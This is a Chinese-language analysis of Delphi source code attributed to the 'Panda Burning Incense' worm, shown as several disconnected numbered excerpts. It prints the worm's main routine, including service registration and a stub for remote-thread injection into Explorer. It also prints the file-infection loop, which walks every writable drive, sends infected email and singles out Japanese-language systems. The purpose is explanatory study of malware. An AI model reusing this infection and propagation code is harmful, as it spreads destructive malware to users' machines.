1、(一) 主程序段分析 原“熊猫烧香”病毒“源码”主程序段代码如下所示:{==================主程序开始====================} begin if IsWin9x then //是Win9x RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程 else //WinNT begin //远程线程映射到Explorer进程//哪位兄台愿意完成之?end; //如果是原始病毒体自己 if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.ex
4、,提到“远程线程映射到Explorer进程”一句。其实这里所用Jeffrey Richter所著《Windows 95 Windows NT 3.5高级编程技术》(后多次更句)一书第16章“闯过进程的边界”中详细讨论的“使用远程线来注入一个DLL”技术。如今,只要上网GOOGLE一下“远程线程映射技术”即出现大量实片断,故在不再赘述。那么,它(包括其它许多病毒)为什么要映射到Explorer进程呢?原来,Explorer(注:Windows资源管理器的名字也是Explorer.exe,但并不是一回事!)进程在Windows系统中举足轻重—Windows在启动过程中都会随同激活一个
6、:不是一下子使宿主中毒瘫痪,而是感染宿主使之达到继续传播目标的同时,启动另一个“原”无毒程序(实际上文件名已经改变,加了一个空格字符)。 接下来,让我们入分析上面流程中“InfectFiles(感染文件)”部分的执行过程。 (二) 具体感染文件的过程这个子过程的源码如下所示: {遍历磁盘上所有的文件并实际感染} procedure InfectFiles; var DriverList: string; i, Len: Integer; begin if GetACP = 932 then //日文操作系统。函数GetACP用于检索系统所用语言 IsJap := True;
7、//去死吧! DriverList := GetDrives; //得到可写的磁盘列表 Len := Length(DriverList); while True do //死循环begin for i := Len downto 1 do //遍历每个磁盘驱动器 LoopFiles(DriverList + ':', '*.*'); //感染之 SendMail; //发带毒邮件 Sleep(1000 * 60 * 5); //睡眠5分钟—病毒常用简单诈骗术之一 end; en